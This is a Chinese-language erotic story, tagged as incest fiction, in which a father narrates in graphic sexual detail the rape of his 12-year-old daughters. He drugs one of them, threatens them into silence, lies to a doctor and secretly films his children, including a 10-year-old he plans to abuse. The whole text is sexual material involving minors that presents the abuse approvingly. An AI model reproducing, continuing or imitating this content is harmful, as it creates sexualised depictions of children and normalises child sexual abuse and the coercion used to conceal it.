和女儿的虐恋[家庭乱伦]

 
  
在我高中毕业那年,与我交往数月的女友芭芭拉告诉我她怀孕了,在得知此事的一周后,我和她结婚了。

严格说来,我们并不相爱,只是相处在一起,而我与她交往的理由,则是因为她是学校啦啦队里最性感的尤物,尤其是一对硕大的34F乳瓜,是闻名附近几所学校的大奶霸。

结婚,是一个不得已,却又不得不如此的决定。然而,当我们发现她肚里怀着的是个女娃儿后,我感觉到相当地失望。我是一个传统观念很重的男人,儿子远比女儿重要。

我以失望的心情,努力维持这份婚姻,甚至因此放弃了唾手可得的大学,找工作养家活口。一直到现在,我仍在想,如果我继续求学,不知道会怎么样。

结婚的那年,我才十八岁,只是个高头大马、外形俊俏的高中毕业生,在职场上没有任何机会。

经过连番的求职碰壁与耻笑,我痛定思痛,开始了自己的事业:「搞定有限公司」。

需要什么人帮忙装家里的录影机?数位电视?小耳朵?电脑?

找我就对了。

需要什么人帮忙组合孩子们的单车?或是家具桌椅?

打电话给我吧。

刚开始,只是我独自一个人卖力苦干,但是随着时间过去,还有适当的转投资,公司规模也成长起来﹔现在,我手下有三十二个员工,或男或女,全都是大学毕业生。这些孩子多半是工读生,脑袋聪明,而且工资低廉,成本不高,我给他们弹性上班时间、法定的最低工资、免费午晚餐供应,还有每年年尾的高额奖金…假如他们有待到年尾的话。

公司上了轨道,我的工作量就少了很多,至少,再不用亲自出外务了,只是每周不定时地去公司数次,视察确认一切事务正常运作,然后就是在家里,审视目前股票、债卷,还有其他转投资项目的损益亏盈。

以一个才刚刚过完二十八岁生日的中年男人来说,我生活悠闲,事业成功,更重要的是…我腰包里有着大把银子。

只可惜,并不是每个方面我都那么得意……我的大奶妻子并没有能够与我共享这一切。

在为我诞下大女儿苏姗之后,芭芭拉又为我生了两个玉雪可爱的女儿。但是,在六年前,我事业只算稳定,未算发达之前,某个提早回家的下午,我发现这婊子赤裸裸地躺在床上,抖着她肥大的巨乳,和一名水电工通姦。

暴怒中,我打塌了那个姦夫的鼻梁,在他的哀求声中,把这没用的东西踢出门口﹔跟着,在简单的法律程序后,我与那红杏出牆的大奶婊子离婚。

放弃了监护权的她,从此消失在我和三个女儿的眼中。我最后一次听到有关于她的消息,是听说她搬到附近的城市里,染上了毒瘾,每天晚上站在街边,抖着一双肥硕巨乳,靠着贱卖她丰满惹火的性感胴体,来换取卑贱的堕落生活。

我不知道这消息是真是假,不过,这确实让我感到一丝快意。

因为与妻子的离异,我从二十二岁起,便独力抚养着三个可爱的女儿。环顾我的人生,我始终不愿成为那种轻言放弃的男人,所以尽管这确实有些难度,但我仍是将苏姗、珍妮,还有蜜雪儿抚养长大。

在努力冲刺事业的同时,我为女儿亲自换尿布、喂奶瓶,帮着三个小可爱把屎把尿,还要笨拙地唱歌,哄她们入睡。

平常时间,我请的保母帮了不少忙,但是一过了晚上六点,还有整个周末,责任就全部在我身上。

正如我一开始就知道的,父代母职真是不容易,但我一旦开始,就不会放弃,而且我确实愿意为我的女儿付出。

只有一件事让我感到很不舒坦。那就是为了照顾三个女儿,被搾干了的我,再没有时间、精力、兴趣,去和其他女性约会。

我是一个正值青壮的男人,对这样的寂寞生活,自然感到相当地饥渴与欲求不满,所以偶尔我会偷偷地到城里的一些摇头PUB,花点饮料钱,玩一些狂野的青春少女。

这些事情当然没有被我那三个宝贝女儿知道,她们三个是那么地可爱,金发碧眼的小天使,我不想让这些事玷污了她们的心灵。

大女儿苏姗,个性独立自主,聪明的脑袋完全表现在杰出功课上﹔二女儿珍妮天生好静,喜欢作家事,烹调的手艺不输给大人,但夸奖她的时候,内向的个性很容易害羞﹔至于最小的蜜雪儿,那完全是一个喜欢整天粘在爹地左右的可爱小娃娃。

我常常把她们当作是长不大的小女孩,以为这样父女相依为命的生活会一直下去﹔直到苏姗十二岁的那年,初次月经来潮,我们的生活才有了改变。

听着大女儿半撒娇地诉说,要钱买新胸罩的时候,我才被迫惊讶地觉醒到,她已经变成一个少女,不再是小女孩了。很快地,她就会需要自己的独立空间、独立电话,甚至开始交男朋友。

经过考虑,我决定像其他父母一样,先给女儿避孕药丸,免得哪一天,我得怒气冲冲地抚养一个突然冒出来的孙子或孙女。

但超乎我预期的变化,接二连三地发生,直到那天晚上,我整个生命发生了大改变。

那晚,天气来了暴风雨,雷打得很大声,狂风像要掀去屋顶似地吹击着房屋。我睡不着觉,又想着公司几个新坪的女大学生,衣着暴露惹火,走起路来美臀一扭一扭的骚浪模样,心头火热,就翻着最新一期的PLAYBOY,手放在裤裆里打枪。

突然,门口传来了小小的敲击声,一个有些带着哭音的呜咽,从门外传来,这时我才惊醒过来,想到苏姗虽然好像胆子很大,但从小就特别害怕打雷。

「爸,我睡不着…我好怕,我可不可以抱着你睡?」

细嫩的声音,听来是那么地清纯,但我却处于一个非常尴尬的勃起状态,心中燃烧着火热的慾念。

也许,我应该大声地说「不」,然后赶女儿回房…

「好啊,宝贝女儿,妳进来吧。」

门打开,受到怒雷惊怯的小天使,三步并做两步地跑进来。天啊,穿着那件浅蓝色小睡衣的她,真是可爱。

但…更令人舍不得移开视线的,是她单薄衣料下清楚裸露出来的雪白胴体,尽管曲线还很稚嫩,但胸口却完全继承了母亲的血统,小小年纪,竟然有着鼓涨涨的隆起,戴起了胸罩﹔还有裹住娇俏小屁股的纯棉内裤,无不刺激我沸腾的血液。

当我拥她入怀,除了感受那饱满的小奶,摩擦胸口的快感﹔也闻到一股来自她身上的香气,一种十二岁的少女所独有,仿佛是略带青涩,却已逐渐成熟的果子,引诱着人们下手摘採。

我们父女两个紧紧地拥抱着,我将女儿搂在怀里,温言抚慰着他的不安﹔然而,我的鸡巴却像是一尾毒蛇,顺从本能,下意识地寻找女儿柔嫩的屁股沟,一再尝试想要深埋入其中。

「爸,有个东西…」

「宝贝,睡吧。」

惊觉到女儿的惊惶,我尝试想要尽早入睡,但是在暴风雨的噪音、我心头的火热慾念,还有女儿身上引人犯罪的甜美幽香中,我做不到,反而让勃起的鸡巴越来越硬,越来越烫。

努力撑过了半个小时,窗外风雨仍急,一如我混乱的心情。

在邪恶念头的驱使下,我蓦地伸手,捧握住女儿超越同年纪女孩的饱满雪乳,轻轻地婆娑绕圆,让虎口感受雪乳的圆润。

把玩亲生女儿奶子的奇妙感觉,让我兴奋至这些年来未有过的高点,当下便不自觉地挺移下身,同时把苏姗浑圆的雪白屁股,贴近我硬挺隆起的胯间,开始缓缓地摩蹭。

我一直以为女儿已经熟睡,却不料在这关键时刻,竟听见她雏鸟似的微弱悲鸣。

「爸,爸,你在作什么?别碰我,你、你的手…你怎么能这样?我是你的女…」

苏姗仓皇的惊叫声,没有令慾火中烧的我停下动作,这时,我手臂突然一阵剧痛。

这小丫头,她居然敢咬我?

惊怒交集之下,我下意识地开始防卫,把雪雪呼痛的苏姗抓得更紧,脑里则是有许多念头纷至沓来。

离婚以后,我牺牲了我生命中最精华的时间,养育这几个小丫头片子成人,但最后我得到了什么?她们长大了,就开始学着反抗我、拒绝我,像现在这样反咬我一口,像她们的婊子母亲一样忘恩负义?

不行,再怎么说,我可是这丫头的亲爹,哪轮到她来反抗我?

「闭上妳的狗嘴!妳就像妳的婊子娘一样,忘恩负义,什么时候妳胆子大到敢这样对我说话?告诉妳,我忍妳的狗嘴忍得够久了,够了!」

愤怒地吼着,我对苏姗下了最终的惩罚命令,「把妳那一身该死的衣服给脱掉,趴下来,老子要教训妳。」

疾言厉色的吼叫,把苏姗吓呆了。这是正常的,因为过去我从不曾这样对她斥骂,即使再大的事,也只是重重地打一下手心,或是打两下屁股…当然,身上一定是穿得好好的。

其实,我也不知道自己今晚怎么了,居然变得这么狰狞恶状,但肯定的是,我已经停不下来了。

趁着她还傻傻地发呆,我抢上一步,抓着睡袍的衣领一撕,薄薄的衣衫已给我撕开了,露出了一个朴素的小奶罩。那个浅蓝色的小奶罩,包裹不住她饱满的乳房,看那样子,大概有个30C。

我知道女儿满早就开始发育了,可是…一个十二岁的小女孩有C罩杯?我不知道这是遗传到母亲的特色,还是现在的小孩子真是发育得太好了。

爸爸突然变了个面孔,把苏姗吓得不知所措,反覆哭叫「不要呀,不要呀」

,但我慾火攻心,怎会理她的呼叫,只是像多年前与那大奶婊子性交一样,伸出双手,粗暴地抓在她的雪乳上。

「哎…」听见女儿痛叫一声,我内心却反而赞叹一句。隔着胸罩,还这么弹手,这丫头确实遗传到她母亲的长处。

这时,苏姗像是回过神来,记起了要反抗,双手不继打在我身上。我连忙捉着她双手,继而抽出手来,抓着她的浅蓝胸罩一撕,「刷」的一声,撕破胸罩,随即用它缚着女儿的双手。

「呜呜…爸爸不要呀,我是你亲生女儿呀,不要…呜…」

只想发洩的我,什么也听不进去,当下不由分说,把苏姗拉趴到我的膝头,睡裤连同白色的小内裤一起拉脱到小腿,露出小女孩那雪白如玉,嫩滑如脂的圆臀来。

我细心欣赏女儿身体每一寸的肌肤,她圆圆丰满的奶子,看来十分坚挺﹔峰顶上粉红的蓓蕾,鲜嫩诱人,两腿间的三角地带,长着稀疏的金色耻毛,可以很清楚地看见她可爱的幼嫩阴户。

苏姗拼命地挣扎、滚动,想要从我膝盖上挣脱开去,凄厉的哭叫、要求我快快住手。这些多馀的动作,没有换来我的怜悯,只唤醒了我更深的怒气,决定要教导这个刁蛮的丫头,一点家庭伦理和尊重,让她明白谁才是这个家的主人。

「闭上妳的嘴,老子告诉你,我现在要打妳十四下屁股,妳打起精神给我数好,只要错漏一下…很好,我们一切从头再来。」

暴力胁迫之下,柔弱的苏姗当然没得选择。我一手揽着她的细腰,一手拍打她的雪白屁股来。

「一(啪),二(啪),三(乓)…啊!GOD…喔,我恨你!我恨你!你为什么要打我?呜…四(啪啪),呜呜呜…」

「叭!」

伴着手掌拍打屁股的清脆响声,苏姗的全身开始颤抖。

「五…痛啊!」

苏姗大声地哭叫。

「痛是应该的。这是对妳不听爸爸话的处罚!」

我怒喝着,手掌上用力在另一边的柔嫩屁股上拍打。

「叭!」

「啊……六……」

雪臀的柔嫩肌肤,迅速出现红色。能够在这么有弹性的嫩肉上拍打,让我产生无法形容的快感。

「叭!叭!叭!」

「啊……痛啊……饶了我吧!」

在我毫不留情的掴击下,苏姗涕泪纵横,哭成了一个泪人儿,也不知道多辛苦才念到最后。

「呜呜…十三了啦(啪)…十四。」

经过一轮的掴击,女儿柔嫩的小雪屁股,现在染上了一层瑰丽的玫红色﹔错综複杂的手掌印,浮现在那结实而多肉的屁股蛋上。

似乎被耗尽了体力的苏姗,不停地喘气,还有连续干呕。看着她这副悽楚模样,我的怒气一点一点地消失,但也就是这一刻,我下了一个改变我人生的决定:强暴我的大女儿。

冷不防地,我把哭泣中的女儿抛到床上,跟着就快速地握着她的脚踝,不给她挣扎的机会,大大地将两腿分开,牢牢抓住,像个急色鬼一样地吻她。

「小婊子,我打赌妳现在一定已经不是个处女了,妳们这些年轻女孩子都是一个样,淫荡下贱,学校还没毕业,就和男学生乱搞,呸!我告诉妳,如果别的男人可以肏妳,我更可以,至少,我是生下妳这小骚屄的亲爹,妳活该是要给我干的!」

我站在苏姗的两腿间,狞笑着说道:「宝贝,爸爸就要干妳的小骚屄了,今晚爸爸要干遍妳身上的每一个地方。」

「不,爸,你不能这么作,我…我还是个处女,求求你走开,走开啦。」

大难临头,苏姗的眼中,闪过莫可明状的恐惧,哭得声嘶力竭,使劲踢动一双纤细的小腿,但被我紧紧握住,胯下调整好鸡巴的位置,开始要强行进入。

最开始,我抬举起她的小腿,想尽可能地把两腿分开,裸露出女儿纯洁的阴户,跟着,就慢慢用鸡巴碰触那两片稚嫩的美肉,而在这过程中,我得要分出手来,箝制住苏姗的双手,因为她像头野猫似的,一直想用指甲抓我的脸。

当然,男女双方的体型差那么多,这些小挣扎根本就没有作用。

「嘿,宝贝女儿,想要证明给爹地看,妳真的是个处女吗?准备好了没有?

我保证那很痛的。」

龟头碰触到柔韧的处女膜,我对着女儿狞笑了一下,然后便是一记又狠又重的挺送,在苏姗悲惨的嚎叫声中,一举夺取了她的童贞。

老天,我女儿的小穴真是够紧,而且还真他妈的又热又烫!

一面姦淫着亲生女儿,我一面低下头来,吮吸玩弄她胸前饱满的C罩杯小奶,开心得大笑。

「爽了没有?爽了没有?从现在起,妳是我的了。妳是我的女儿,我的小骚屄妓女,我的操穴玩具,接受它吧,每个女儿生下来就是要给爹操的。」

在愉悦的高潮中,我打了个哆嗦,把浓稠的精浆,毫无保留地深深射入女儿幼嫩的小肉穴。

在我疲惫却兴奋地抽出鸡巴后,苏姗蜷缩起赤裸的娇躯,不停地哭,直至力疲晕去。

虽然刚刚失去了童贞,但是躺在那里的少女胴体,看来仍是那么地纯洁无瑕,尤其是淌流在雪白大腿上的那抹鲜红,更是强烈刺激我心中的兽性,结果没有多久,我就把女儿弄醒,再狠狠地姦淫了她一次。

事后,我威胁着女儿,同时也告诉她,不会有人相信她的鬼话,要她死了对外人求救的心,同时逼她开始服用避孕药。至于带她去拿药的时候,我当然是和医生解释,女儿交了男朋友,拿避孕药是以防万一。

当我这样和医生说话的时候,苏姗总是低垂着头,半晌不吭一声。我与她的姦情,没有证人可以做证,而我也一直警告她,如果我出了事,她就会失去一切,流落街头,即使被安排到哪个家庭收养,那也会被迫与两个妹妹分开,新学校里的同学则是很快就会知道,她是个被亲生父亲肏过穴的小烂货。

苏姗本就是个外向的刁蛮女儿,所以从那个时候开始,整天找机会往外跑,但只要一回到家,就变得沉默寡言,唯有在一个时候叫得特别大声。

「不!你这个禽兽…不要!」

在拿完避孕药的当天,我就又把大女儿拖进房,再次享受她青涩的少女胴体,这一次我让她趴在床边,高高抬起雪嫩小屁股,用狗交式从后干着她刚被开苞的嫩穴。

第二章珍妮

在之后的十二个月里,我每周平均都会姦淫苏姗几次,有时候更多一些。但为了掩人耳目,不让她两个妹妹珍妮、蜜雪儿发现,我通常都是和苏姗一起共浴,在浴室里头性交,而她也在这个过程中,学会了怎么帮爸爸的大鸡巴口交。

但天底下没有不贪心的男人,继苏姗之后,我也对另外两个女儿的发育状况感到好奇,想知道看来天真可爱的她们,是否也和姊姊一样,有着让我意外的惊喜。

原本在她们满七岁后,我就避嫌地不再与她们一起洗澡,但趁着她们抗议为何姊姊能和我共浴的机会,我重新带她们进浴室,把两个小丫头脱得一丝不挂。

这时候,我才发现自己确实失职了。十一岁的珍妮,胸部已经开始发育,成为B罩杯的小小鸽乳﹔至于蜜雪儿的胸口虽然平平一片,但却让人期待她往后的成长。

除了洗澡,我也在别的地方找机会享受,尤其是抱着女儿一起看电视的时候,总会找机会撩高女儿的裙子,让她们的小屁屁坐在我鸡巴上。

但最深得我宠爱的,仍是能够摇着屁股,真正用小穴吞吐我鸡巴的大女儿。

为了表示我是个慷慨的好爸爸,苏姗得到了比妹妹更多的好处。除了常常有营养的特殊牛奶,喷洒在她的脸蛋、雪白的奶子,还有肚子里﹔珍妮和蜜雪儿也常常问我,什么时候才能像姊姊那样,有自己专属的电话、收音机,而且不用被规定睡觉时间。

我待这个大女儿就像是对待成年人一样,就像把苏姗当成这个家里的女主人,她想要的一切,我都会买给她。

渐渐地,苏姗养成了一个习惯,就是每次在被我强暴之前或是之后,她都会要求一些高价的奢侈物品,要我立刻买给她,但没用个几下就被弃如敝屣。

作为父亲,我相当不满意苏姗这种奢侈浪费的习惯,要是有一天她独立赚钱,要维持这样的阔绰生活,却没有足够的经济来源,那该如何是好?学那些颓废的年轻人一样借债度日吗?这点我不会允许。

不过,每次看她扭动着雪嫩屁股,还有越来越丰满的结实乳房,在我身下像个放荡的妓女一样挨操,我就开心地容许了她这点小任性。

没过多久,在二女儿珍妮满十二岁生日的三周后,她也来了第一次的月经。

我则很快地帮她准备好避孕药。

恰好,那个周末苏姗要求要在一个朋友家外宿,本来不会轻易答应的我,考虑到这正是一个开始调教珍妮的好机会,所以破例点头了。

和姊姊不一样,珍妮是一个乖巧懂事,容易害羞的小东西,从小就很乖,很听爸爸的话。对她我必须有点耐心,不能因为太过急躁,伤了她脆弱纤巧的心灵周五的晚上,苏姗早已离开,我在睡前牛奶分别下了安眠药,等到蜜雪儿睡着之后,就索性脱光衣服,走进珍妮的房间,帮熟睡的她脱去身上睡袍。

有了苏姗的经验,这次我并不性急,只是握着她细緻的脚踝,把内裤蜕拉到膝盖后,大大地分张开她的双腿,托着她屁股,细心欣赏着她的阴户。

我拨开稀疏的耻毛,确认女儿阴户的模样,只见那娇嫩的粉红色花房,微微肿胀,但未经人事的处女蓬门,却死死地紧闭,让我看不到一丝空隙。

按着阴户轻轻的搓揉,不久,少女的胴体就有了反应,让我掌心满是她的爱液。我将手放入口中,品尝珍妮的处女爱液,然后又用手指分开她的蜜唇,细心欣赏。

肉壁看来非常紧窄,只能拨开小许,我忍不住便将舌头伸入她的肉壁内舔。

「嗯?爸,你在…做什么?啊!」

这个动作弄醒了珍妮,从好梦中惊醒的她,在看轻我的动作后,眼睛瞬间瞪得好大,惊惶而无辜地出声。

「爸!你不可以这…」

才发出声音,她已经被我一把将小嘴捂住,把内裤强塞进去,只能发出模糊的哀叫声。而我趁着兴头正盛,贪婪地舔舐着她腿间这朵越益盛开的妖花。

「唔…唔…呀呀…呀…呀…呀」

虽然被内裤塞在嘴里,但珍妮却抵受不了下体传来的奇妙感受,频频发出尖叫。

我伸长舌头,舔着湿润的肉壁,在熟练的技巧之下,珍妮的蜜浆流个不停,一些更沿着屁股滴到地上。我内心兴奋无比,于是用力一吸,「丝」的一声,差不多把所有蜜浆都吸入我的口中。

「唔……呀……啊!」

珍妮长长的尖叫着,阴道不继的收缩,我起身一看,我的二女儿正两眼翻白,脑袋微微地向后仰着,塞着内裤的小嘴里,发出「啊…啊」呼吸声,急速的喘息,更使她已经发育成B罩杯的一对小奶不停摆动。

此时我玩得性起,便取出她口中的内裤,高兴地夸奖她。

「珍妮,妳还真棒,妳姊姊可没有妳那么容易有高潮……爸爸以后会多疼妳的。」

珍妮听了我的赞美,却把脸转一边去,圆圆大大的眼睛下,眼角还有一点泪水,小嘴紧闭,一副十分可怜的样子。

我重新发动攻势,双手按在珍妮的小肚皮上,轻轻搓揉,她的身体微微抖动着,看似非常委屈,但却没有像姊姊的初夜那样,竭力反抗,造成我的不便。我发现这点,双手慢慢的向上游去,握着她雪嫩的B罩杯小奶。

「呜……痛啊……爸爸,不要这样啊……」

珍妮低声地哭着,身体抖动得更厉害﹔我则是大力地握着那柔软雪乳,让它在掌心变形,道;「痛吗?宝贝女儿,爸爸弄痛妳了吗?不过事情都是这样,妳忍耐一下就没事了,等会儿妳还会比刚才高潮那样更兴奋呢。」

听了我的劝告,女儿激动得将头左摇右摆。

「呜…不要…不要啊…呜」

我在珍妮的悲叫中,将鸡巴向前推送,怎知龟头一阵疼痛,被那尝试作着最后抵抗的处女膜阻着,鸡巴竟然插不进去。我暗骂一声,用手指将她两片蜜唇分开,扶着鸡巴慢慢深入,片刻之后,整个龟头全插入了。

「噢…」

我发出淫秽的嚎叫。而珍妮的牝户首次被男人强行进入,对于强暴者作出激烈反应,先是不停收缩抖动,跟着紧紧将龟头夹在肉壁中,难以进退。

珍妮感受着前所未有的痛楚,一对大眼呆呆地瞪着天花板,指甲紧握得深插进手里,小嘴张得大大,喉咙里发出「啊………啊」声音,似乎想藉着发出声音,减低下体传来的痛楚。

我慢慢适应了处子牝户的紧窄压力,心想是时候了,便低趴下身,面对面地对女儿说话。

「宝贝,爸爸数到三,就会插进去,到时候妳就是个小妇人了。」

珍妮听完,眼角流下了一串泪水,像是一头被宰羔羊似的望着我。

「一……二……」

珍妮听我倒数,口中发出微弱的哀求:「不要啊,爸,你放过我吧,老师教过我们,女孩子的贞操是要交给丈夫……哎!」

要把处女保留给未来丈夫?这么迂腐的蠢念头,我听得差点笑出来。也不多说,我狠狠地一挺腰,抢拔了未来女婿的头筹,这才说了一声「三」。

「哎………痛呀………痛呀………」

珍妮惨痛着哀叫,我整条鸡巴狠狠轰破处女膜。除了被我用手牢抓着的雪嫩小鸽乳外,她整个娇躯被顶得往后仰。

事情到这一步,我已不急于进攻,慢慢享受着开苞带来的乐趣。处女不愧是处女,肉壁紧紧夹着我的鸡巴,包容得一丝空隙也没有,龟头传来阵阵暖意,说不出的快活。

我缓慢将鸡巴抽出,只留下龟头陷在,然后,握着她的鸽乳借力,用尽全身之力向前一挺,「波」的一声,整根没入。

「痛啊………痛…」

珍妮仰头尖叫着,被摧残得如同风中残烛,脑袋不停地摇摆,下体一丝童贞鲜血,沿着牝户口流落地上,娇躯激烈地颤抖。

「嘘,宝贝,安静一点,别吵也别闹,爸爸现在要帮妳转大人,别打扰我…

呃,妳的小浪穴真是紧,真是乖女儿,嗯………干起来好舒服,爸爸没有白养妳。」

珍妮痛楚的叫声,就好像对我摇旗呐喊似的,令我插得更加用力,根根没尽,两具不同的性器宫相撞一起,发出了啪啪的肉撞肉声响,真是无比动听。

「宝贝,别这么死板板地躺着,学妳姊姊那样摇屁股,爸爸才喜欢妳…嗯,乖,现在把嘴张开,让爸爸吸妳的舌头…对,就是这样,好,现在爸爸来试试宝贝女儿的奶子,发育得怎么样了。」

被父亲玷污了贞操,整个过程中,珍妮不断地哭泣,而我则是恣意摆弄着她的胴体,做出许多我早就梦想多时的淫靡姿势。

感觉很好,但我却觉得有点不满足,因此,我决定再开採珍妮身上的另一朵处女花,她柔嫩的屁眼小肛菊,一个十二岁小的紧窄屁眼,肯定会是这世上最温暖,最舒服的地方。

拔出鸡巴,带出一片血水浓浆,我先让女儿有心理准备。

「珍妮,心肝宝贝,爹地要妳翻过身来,手趴在床上,屁股也翘高一点,嗯…好女孩,就是这样。一开始会有点痛,但世上每个女人都要过这一关的。」

「爸,为什么?我哪里做不对了?对不起,我向你认错,我以后一定会改的,你别再罚我了好不好?我下面的地方好痛…」

「哦,小心肝,妳什么都没有错,爹地只是想要干妳而已。我是妳的父亲,所以妳整个身体都是我的,乖女儿妳的屁眼看起来好可爱,爹地想要再里头射上一次。我保证,下次不会痛得这么厉害了。」

我腰部用力一送,整根鸡巴瞬间没入珍妮的屁股里。尽管鸡巴上头已经有润滑液,但是因为肠壁夹的实在太紧,使我这么用力一插之后,整跟鸡巴痛的像脱皮一样。

珍妮这时又痛得开始大哭了,我很吃力的抽动着肉棒,尽头没有任何阻挡,也因此,我可以尽情的把肉茎向内挺。

当鸡巴向里面推的时候,屁股肉就会碰到在外面的部份,我伸手按住那富有弹性的的臀部,往两边扳开,使鸡巴能更深入她体内。

抽插了一会儿,珍妮大概哭累了,手肘支撑不住,上半身就软在床上,意识已经有点模糊了。

「啊……硬硬的东西,快要撞破肚子了啊…」

随着她的疲劳,肛门也就不那么紧了,我抽送的速度加快之后,没多久就射出精液。

这真是无比舒爽的一次经验,但由于插女儿屁眼是临时起意,多少就产生了一些意外的结果。

当我把鸡巴拔出来的时候,不可免地沾了一些粪便和精水,但珍妮却好像极为不舒服似的,手捂着肚子,痛苦地悲鸣着。

我正要探问,鼻端却突然嗅到一阵臭气,只见被扩大的肛门口,「噗、噗」

几声,流出咖啡色的粘液,粉红屁眼像是鱼的嘴巴,频繁地开合。

「呜~~~~」

随着粘液之后,珍妮像是感到极度羞耻,把头深深埋进枕头里,在一下痛哭声中,小腹一下蠕动,居然排出一条黄色的软便,落到地上,整个雪白的屁股,顿时染了一片咖啡色。

这个意外的变化,弄得我目瞪口呆,花了好些力气,才把现场收拾干净,告诫自己以后一定要做好准备。

在被我抱进浴室,把身体清洗干净后,珍妮躺回了床上。

不像她刁蛮的姊姊,珍妮并没有激烈抗拒,也没有试着逃跑,甚至没有发出那些让人心烦的咒骂与尖叫。

全都没有。

她只是像个乖女孩一样,静静地沉默饮泣,哀悼她已经不再的纯洁。

第二天,我没有再碰珍妮,让她好好休息,而当苏姗在周日晚上返家,察觉到妹妹的异样,气得全身发抖,像是一头愤怒的母猫,对我又打又抓,说我是这世上最没人性的狗畜生。

结果……当然是被我压到床上去,结结实实打一顿屁股后,又给我狠狠干了一趟小屁眼。

事情就这样子定下来,自从有了两个女儿的陪伴后,我的性生活变得多采多姿﹔有时候,我强暴她们其中一个,但有时候我们父女三人同床做爱。

我威胁她们,如果不肯依从我,那她们就会被赶出家门,像电视上的乞丐一样,过着肮脏又污秽的生活。当然,如果肯乖乖当我的好女儿,在床上帮爸爸舔鸡巴、挨肏,那么我就会给她们想要的一切。

苏姗仍是一个倔强任性,爱故意反抗我的刁蛮女,即使我照她要求买东西给她,还是常常找机会捣我的蛋,或是故意避开我,远比不上珍妮的听话乖巧,不但从不主动要什么,就连我偶尔想要买东西给她,她也摇头说不要,很有一个贤淑小主妇的模样。

不过,她们两个倒还遵守着基本的规矩,没有把我们家里的这件丑事对外宣扬。

这样幸福的家庭生活才只过了九个月,我就发现,食髓知味实在是一件很可怕的事,因为,我已经等不及小女儿蜜雪儿来月经的那天了。

趁着她还没有月经的问题,我连避孕药都可以省下,这样子岂不是更简单?

经过短暂的考虑后,我决定让她加入姊姊们的行列,不过,这次我不想马虎,而想来一点有纪念意义的场面。

在几番考虑之后,我找人来把后院的游泳池好好清洗,池边多加了滑梯、跳水板之类的玩具,整个弄得焕然一新,作为祝贺小女儿十岁生日的礼物。几个丫头都是小儿心性,看到崭新的游泳池,都乐得快疯了,等不及想要下水试试。

我让她们等到生日那天的早上,用完早餐后,每个人分别送了一件泳衣,三姊妹不约而同地叫了一声,快步跑回房里换泳装,赶着下水畅泳。

换好了泳裤,披上浴巾,我也预备出去,但是听见后院里不住传来欢笑、嘻闹、水花四溅的声音,我心中不由得一动,想到如果贸然出去,说不定会破坏这样的气氛,毕竟苏姗和珍妮随着年纪日长,换衣服都故意躲着我,现在她们三姊妹玩得正乐,要是我突然现身,蜜雪儿或许没感觉,但苏姗和珍妮一定会遮遮掩掩。

这样一想,我便不急着出去,而是绕到泳池边,从一扇玻璃门的后面,拿着V8摄影机,偷偷拍下三个女儿在泳池中泼水嘻闹的情景。

第三章蜜雪儿

苏姗在泳池里,像一尾美人鱼似的来回游动,身上是一件浅蓝色的连身泳装,胸口位置画出一条直达肚脐的V字开口,由数条雪亮银链互相交错做为固定;背后也是同样的设计。半露的D罩杯玉乳,夹出一道性感的乳沟,浅蓝的泳衣紧扣在乳白肌肤上,呈现出强烈的对比。

珍妮半站在泳池,与妹妹泼水为戏,所穿的泳装是乳白色两截的,上面是小背心型,下面就是像裙子那种,搭配只到大腿根的白色紧身裤;因为玩水而沾湿的背心不但紧贴着肌肤,还变成了半透明的状态,全身的诱人线条完全被强调出来。小背心根本就包不着她那对大乳房,窄小的背心把胸前两团玉紧紧挤压着,露出一条好深的乳沟。

本来苏姗大珍妮一岁,胸部的发育也比她发育得早,才十五岁就已经有了D罩杯的可观尺码﹔但珍妮自从被我开苞以后,因为温柔听话,被干的次数远比姊姊要多,饱受男性荷尔蒙滋润的结果,奶子就像一对充气的小皮球一样,迅速膨胀起来,还不满十四岁,居然也有了D罩杯,这样下去,后来居上是迟早的事。

我游移着目光,在泳池畔的滑梯上,找到了正在闪躲姊姊泼水的蜜雪儿。她穿着一件豹纹的三点式比基尼,天真烂漫地开心大笑。

看着她的俏丽模样,我脑中感到了一阵目眩,圣洁而又非常干净的美体令我无法用语言形容。

扎成马尾巴的粲然金发,在脑后活泼地摇曳,一双以十岁年纪的女生来说,绝里绝对算大的雪乳,像两只可爱的小白鸽子般挺立着﹔由于从这角度只拍到她的侧身,所以镜头里留下的,是一条由颈及腰的稚嫩曲线﹔下面就是紧紧绷在豹纹泳裤里的雪白小屁股,然后就是修长的腿,可能是因为年纪小,大腿也很细。

「喂,妳别一直泼我啦。」

「嘻嘻,谁叫妳今天过生日。」

我一面拍下女儿们快意的欢笑,一面已忍不住偷偷动手,安慰我那支可怜的鸡巴几下,然后才从树荫遮蔽的阴影处,不让她们发现地慢慢靠近过去。

三个不同美态的小天使,有的野性火辣、有的温柔娴静、有的天真纯洁,在泳池里翻涌碧波,相互欢笑嬉戏,都没有发现泳衣湿得遮不住身体,两粒粉嫩的乳蕾都呈现了出来,顶住薄薄的泳衣。珍妮这丫头和妹妹玩疯了,泳衣走了位,大半边肥硕雪乳都露出水面。

让人舍不得一开眼睛的,当然不是只有奶子而已。当三姊妹一起畅泳,她们的屁股都浮在水面上,看着三个美臀扭啊扭的,下身泳装移了位置,凸出了更多的白嫩屁股。

看着三个女儿在水中浮凸着奶子、扭着雪臀,我鸡巴硬得像是一根上阵的长矛,在裤裆里一下一下地轻轻震动,真是极度难受。我连忙把V8放在桌上,设定好自动拍摄,然后扑通一声奔跳下水。

水花四溅,女儿们惊叫着躲开,蜜雪儿看我也终于下水来,笑得好开心,全然没发现我一下水就看好位置,落到珍妮旁边,一面搂着她细柔的纤腰,往滑梯旁边的死角过去﹔一面强拉着她柔软的小手,隔着泳裤,捏着我硬挺的鸡巴,轻柔地按摩着。

珍妮想躲,但被我牢牢抓着,哪里挣脱得掉?最后,她很快就顺从了,灵活地动着纤细的指头,把手伸进泳裤里,除了套弄鸡巴外,还不时撩拨我囊中的双丸。

我爽得发出声音来,耳边则是听见蜜雪儿好奇地问姊姊,为什么爹地和二姊不出来一起玩,而苏姗则是气愤得想把妹妹带开,不让她目睹父女乱伦的丑事。

不过还是晚了一步,当我在亢奋情绪下迅速达到高潮,无比畅快地喷出精液,水面立刻漂浮起一滩白浊粘稠的东西。

苏姗尖叫了一声,忙不迭地拉着蜜雪儿,从泳池里起身,进屋更衣,也结束了这场别具意义的庆生会。

晚上,在小女儿吃完十岁生日的蛋糕后,我把三个女儿都叫到卧室来,要她们自动把衣服脱光,趴到大床上去。

珍妮是第一个默默答应的﹔苏姗冷哼了一声,指着鼻子大骂我是禽兽畜生,连自己的女儿都不放过,但被我拿起旁边的木板,在结实的臀肉上重重打两下后,她也就老实地趴到地上去。

